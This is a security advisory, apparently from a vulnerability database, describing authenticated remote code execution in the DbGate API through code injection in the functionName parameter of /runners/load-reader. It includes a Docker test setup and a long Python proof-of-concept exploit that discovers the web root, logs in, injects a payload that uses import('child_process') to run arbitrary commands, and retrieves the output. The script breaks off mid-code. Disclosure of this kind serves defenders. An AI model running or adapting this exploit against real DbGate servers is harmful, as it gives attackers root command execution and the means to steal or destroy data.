Remote command execution In dbgate-api
Description
Authenticated Remote Code Execution via loadReader functionName code injection in DbGate ### Summary DbGate is vulnerable to authenticated Remote Code Execution (RCE). Any user with valid DbGate credentials can execute arbitrary OS commands as root by exploiting an unsanitized functionName parameter in the /runners/load-reader endpoint. The require = null mitigation is trivially bypassed via dynamic import().
### Details Code injection via functionName in loadReader The /runners/load-reader endpoint interpolates the functionName parameter directly into a dynamically generated JavaScript script template without any sanitization: javascript // packages/api/src/controllers/runners.js (loadReader / loaderScriptTemplate) const reader = await dbgateApi.${functionName}({...}); By injecting a newline character into functionName, an attacker breaks out of the template expression and injects arbitrary JavaScript code. The injected code uses await import('child_process') to bypass the require = null mitigation (since import() is a language keyword, not a function that can be nullified), achieving arbitrary command execution as the process user (root in Docker). The June 2025 security fix (commit cf3f95c) added require = null to the generated script, but this is trivially bypassed: javascript // Mitigation in generated script: require = null; // Bypass via dynamic import (language keyword, cannot be nullified): const { execSync } = await import('child_process'); execSync('arbitrary command'); Root cause: functionName is user-controlled input that is interpolated into code without sanitization. The fix should validate functionName against an allowlist of known reader functions (e.g., /^[a-zA-Z]+$/) or use a lookup table instead of string interpolation.
### PoC The PoC can be run against a test environment using Docker Compose: yaml services: sectest-dbgate: image: dbgate/dbgate:7.1.4-alpine ports: - "80:3000" environment: LOGINS: admin LOGIN_PASSWORD_admin: SuperSecretPassword123 WEB_ROOT: / CONNECTIONS: con1 LABEL_con1: MySQL SERVER_con1: sectest-mysql USER_con1: dbuser PASSWORD_con1: dbpassword PORT_con1: 3306 ENGINE_con1: mysql@dbgate-plugin-mysql sectest-mysql: image: mysql:8.0 environment: MYSQL_ROOT_PASSWORD: rootpass MYSQL_DATABASE: testdb MYSQL_USER: dbuser MYSQL_PASSWORD: dbpassword PoC Script: ```python #!/usr/bin/env python3 """ DBGate — Authenticated RCE PoC =============================== Root-level command execution against auth-enabled DBGate with valid credentials. Vulnerability — RCE via loadReader functionName code injection The /runners/load-reader endpoint interpolates functionName directly into a dynamically generated JS script without sanitization. A newline in functionName breaks out of the template expression and allows arbitrary code execution as root (Docker default). The require = null mitigation added in June 2025 is trivially bypassed via dynamic import() (a language keyword, not a function). Affected versions: All DbGate versions (tested on 6.1.4, 6.2.0, 7.1.4) Fixed in: NOT FIXED as of DbGate 7.1.4 Tested on: dbgate/dbgate:7.1.4-alpine """ import argparse import json import sys import time import uuid import requests requests.packages.urllib3.disable_warnings() COMMON_ROOTS = ["", "/dbgate", "/db", "/admin", "/gate", "/app"] def banner(host, command, user): print(f""" ┌─────────────────────────────────────────────────────┐ │ DBGate — Authenticated RCE PoC │ │ loadReader functionName code injection │ │ Affects ALL versions (unpatched as of 7.1.4) │ └─────────────────────────────────────────────────────┘ Target : {host} User : {user} Command: {command} """) def build_base(host, port=None): if "://" not in host: host = f"http://{host}" scheme, rest = host.split("://", 1) rest = rest.rstrip("/") slash = rest.find("/") if slash == -1: hostport, path = rest, "" else: hostport, path = rest[:slash], rest[slash:] if port: hostport = hostport.rsplit(":", 1)[0] + f":{port}" elif ":" not in hostport: hostport += ":80" return f"{scheme}://{hostport}", path def discover_web_root(base_host, explicit_path=""): if explicit_path: return f"{base_host}{explicit_path}" for root in COMMON_ROOTS: url = f"{base_host}{root}" try: r = requests.post(f"{url}/config/get", json={}, timeout=3, verify=False) if r.status_code == 200 and "version" in r.text: if root: print(f" [+] Auto-detected WEB_ROOT: {root}") return url except Exception: pass return base_host def phase1_recon(base): print("[Phase 1] Reconnaissance") info = {} try: r = requests.post(f"{base}/config/get", json={}, timeout=5, verify=False) if r.status_code == 200: cfg = r.json() info["config"] = cfg version = cfg.get("version", "?") print(f" [+] Version : {version}") print(f" [+] Docker : {cfg.get('isDocker', '?')}") print(f" [+] Data dir : {cfg.get('connectionsFilePath', '?').rsplit('/', 1)[0]}") except Exception: print(f" [!] /config/get failed") try: r = requests.post(f"{base}/auth/get-providers", json={}, timeout=5, verify=False) if r.status_code == 200: pdata = r.json() info["providers"] = pdata providers = pdata.get("providers", []) names = [p.get("name", "?") for p in providers] default = pdata.get("default", "?") print(f" [+] Auth : {', '.join(names)} (default: {default})") info["default_amoid"] = default except Exception: pass print() return info def phase2_authenticate(base, info, user, password): print("[Phase 2] Authentication") amoid = info.get("default_amoid", "logins") try: r = requests.post( f"{base}/auth/login", json={"amoid": amoid, "login": user, "password": password}, timeout=5, verify=False, ) if r.status_code == 200: data = r.json() token = data.get("accessToken") if token: print(f" [+] Authenticated as '{user}'") print(f" [+] JWT obtained: {token[:50]}...") print() return token else: error = data.get("error", "no accessToken in response") print(f" [-] Login failed: {error}") else: print(f" [-] Login failed (HTTP {r.status_code})") except Exception as e: print(f" [!] Login error: {e}") print() return None def phase3_rce(base, token, command): """ RCE via loadReader functionName code injection. functionName is interpolated into a JS script template: const reader = await dbgateApi.{functionName}({...}); A newline in functionName breaks out and injects arbitrary code. import() bypasses the require=null mitigation (import is a keyword). """ print("[Phase 3] RCE via loadReader code injection") print(f" [] Command: {command}") uid = uuid.uuid4().hex[:12] jslout = f"/tmp/rce{uid}.jsonl" escaped_cmd = (command .replace("\", "\\") .replace("'", "\'") .replace("", "\\")) payload_fn = ( "csvReader\n" "var _r = (await import('child_process'))" f".execSync('{escaped_cmd}',{{timeout:30000}})" ".toString();\n" "var NL = String.fromCharCode(10);\n" "var _hdr = JSON.stringify({__isStreamHeader:true," "columns:[{columnName:'out'}]});\n" "var _rows = _r.split(NL)" ".filter(function(l){return l.length>0})" ".map(function(l){return JSON.stringify({out:l})})" ".join(NL);\n" f"(await import('fs')).writeFileSync('{jslout}'," " _hdr + NL + _rows + NL);\n" "//" ) headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json", } print(f" [] Injecting payload via functionName (bypasses require=null)") try: r = requests.post( f"{base}/runners/load-reader", json={"functionName": payload_fn, "props": {}}, headers=headers, timeout=35, verify=False, ) print(f" [] Payload sent (status {r.status_code})") except requests.exceptions.Timeout: print(f" [] Payload sent (timed out — command may still be running)") except requests.exceptions.ConnectionError: print(f" [] Payload sent (connection reset — expected for some versions)") except Exception as e: print(f" [!] Send error: {e}") return None print(f" [] Waiting for execution...") for wait in [0.5, 1, 1.5, 2, 3, 5]: time.sleep(wait) try: r = requests.post( f"{base}/jsldata/get-rows", json={"jslid": f"file://{jslout}", "offset": 0, "limit": 10000}, headers=headers, timeout=5, verify=False, ) if r.status_code == 200: rows = r.json() if isinstance(rows, list) and len(rows) > 0: print(f" [+] Output captured ({len(rows)} lines)") print() return "\n".join( row.get("out", "") for row in rows if isinstance(row, dict) ) except requests.exceptions.ConnectionError: try: time.sleep(1) r = requests.post( f"{base}/jsldata/get-rows",
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
npm | 7.1.9 |
Aliases
References